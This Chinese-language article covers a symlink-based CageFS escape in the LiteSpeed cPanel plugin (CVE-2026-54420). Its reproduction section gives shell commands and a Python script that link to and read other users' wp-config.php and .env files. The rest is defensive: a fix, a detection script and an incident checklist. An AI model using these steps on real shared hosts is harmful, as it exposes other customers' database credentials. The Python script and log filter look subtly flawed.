LiteSpeed CVE-2026-54420 实战:CISA KEV 在野利用漏洞的完整攻防指南
2026 年 6 月 15 日,CISA 将 CVE-2026-54420 加入已知在野利用漏洞(KEV)目录,截止日期为 6 月 18 日——各联邦机构必须在 3 天内完成修复。随后的 5 天内,北美多家虚拟主机商陆续报告批量拖库事件,波及 HostGator、Namecheap 旗下共享节点。
漏洞概述
| 属性 | 详情 |
|---|---|
| CVE | CVE-2026-54420 |
| CVSS v3.1 | 8.5 高危 |
| 影响组件 | LiteSpeed cPanel Plugin < 2.4.8 / LiteSpeed WHM Plugin < 5.3.2.0 |
| 漏洞类型 | 符号链接(Symlink)滥用导致 CageFS 逃逸 |
| 发布日期 | 2026-06-13(NVD) |
| KEV 纳入 | 2026-06-15 |
| 状态 | 在野积极利用 |
漏洞原理:Symlink 攻击链
背景:CageFS 是什么?
cPanel 的 CageFS 为每个共享主机用户创建隔离文件系统视图,防止跨账号读取 /etc/passwd、其他用户的 wp-config.php 等敏感文件。
攻击链分解
攻击者拥有账号
↓ (FTP 或 Web Shell 访问)
在 public_html 创建符号链接
ln -s /home/victim/wp-config.php exploit_link
↓ (LiteSpeed cPanel 插件处理请求)
插件未验证链接目标是否在用户 cage 范围内
↓ (插件以提升权限处理静态文件)
读取到 /home/victim/wp-config.php 内容
↓
获取数据库凭证 → 拖库关键代码缺陷(概念性)
php
// 漏洞版本的 LiteSpeed cPanel 插件逻辑(简化)
function handleStaticFile($path) {
// ❌ 未检查 $path 是否为 symlink,也未验证最终目标
$realPath = realpath($path);
return file_get_contents($realPath); // 直接读取,绕过 CageFS
}修复版本 2.4.8 的改动:
php
function handleStaticFile($path) {
$realPath = realpath($path);
// ✅ 验证最终路径必须在用户 home 目录内
if (!str_starts_with($realPath, "/home/{$_SERVER['USER']}/")) {
return false;
}
return file_get_contents($realPath);
}攻击复现(实验环境)
⚠️ 以下仅用于授权测试环境,请勿在生产系统使用。
1. 环境准备
bash
# 需要:共享主机账号(FTP 或 WebShell)
# 目标:同服务器其他账号的 wp-config.php
# 确认 LiteSpeed 版本
curl -I https://target.com | grep -i litespeed2. 创建符号链接
bash
# 通过 FTP 或 WebShell 执行
cd ~/public_html/assets/
# 创建指向目标文件的 symlink
ln -s /home/victim_user/public_html/wp-config.php db_config.txt
# 通过 HTTP 访问
curl https://your-site.com/assets/db_config.txt
# → 返回 victim 用户的 wp-config.php 内容(含 DB_PASSWORD)3. 自动化扫描同服务器用户
python
import os
import subprocess
def find_users():
"""列出同服务器用户(利用 /etc/passwd 可读性)"""
with open('/etc/passwd', 'r') as f:
return [line.split(':')[0] for line in f
if '/home/' in line and line.split(':')[2] != '0']
def try_extract_config(user):
targets = [
f'/home/{user}/public_html/wp-config.php',
f'/home/{user}/public_html/.env',
f'/home/{user}/public_html/config.php',
]
for target in targets:
link = f'probe_{user}'
try:
os.symlink(target, link)
# 通过 HTTP 访问 link 即可读取
print(f"Created symlink: {link} -> {target}")
except FileExistsError:
pass影响范围评估
受影响环境特征:
- cPanel 共享主机(所有主流主机商)
- LiteSpeed Web Server(cPanel 主机市场份额约 40%)
- LiteSpeed cPanel Plugin < 2.4.8
bash
# 检测当前版本
/usr/local/lsws/bin/lswsctrl version
cat /usr/local/cpanel/whostmgr/docroot/cgi/lsws/version修复方案
立即修复(优先级 P0)
bash
# 主机商操作:通过 WHM 更新 LiteSpeed 插件
# WHM → Plugins → LiteSpeed Web Server → Check for Updates
# 验证版本
/usr/local/lsws/whostmgr/bin/whm_api.php --version
# 目标:>= 5.3.2.0临时缓解措施
bash
# 在 LiteSpeed 配置中禁用 Symlink 跟随
# httpd_config.conf
FollowSymLinks Off
SymLinksIfOwnerMatch On检测已存在的恶意 Symlink
bash
#!/bin/bash
# 扫描所有用户 public_html 下的可疑 symlink
for user_home in /home/*/public_html; do
find "$user_home" -type l 2>/dev/null | while read link; do
target=$(readlink -f "$link" 2>/dev/null)
# 检查 symlink 目标是否逃逸出用户目录
if [[ ! "$target" == "$user_home"* ]]; then
echo "⚠️ 可疑 symlink: $link -> $target"
fi
done
done事件响应 Checklist
□ 立即更新 LiteSpeed cPanel Plugin 至 2.4.8+
□ 扫描所有用户目录下的跨目录 symlink
□ 检查 access.log 中的异常读取(wp-config.php/.env 被非所有者 IP 访问)
□ 强制轮换所有受影响用户的数据库密码
□ 通知受影响用户更改 WordPress/其他 CMS 凭证
□ 向 CISA 提交事件报告(如适用)日志分析:发现历史攻击
bash
# 在 LiteSpeed access.log 中查找可疑的配置文件读取
grep -E "(wp-config\.php|\.env|config\.php)" /usr/local/lsws/logs/access.log \
| grep -v "^[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*.*200" \
| awk '{print $1, $7, $9}' \
| sort | uniq -c | sort -rn | head -20总结
CVE-2026-54420 再次证明共享主机环境的系统性安全隐患:一个插件的 Symlink 处理缺陷,让 CageFS 的隔离形同虚设。修复方案简单(升级插件),但历史经验表明,KEV 漏洞从披露到实际完成修复的窗口期,往往是攻击者的黄金时间。
相关阅读:

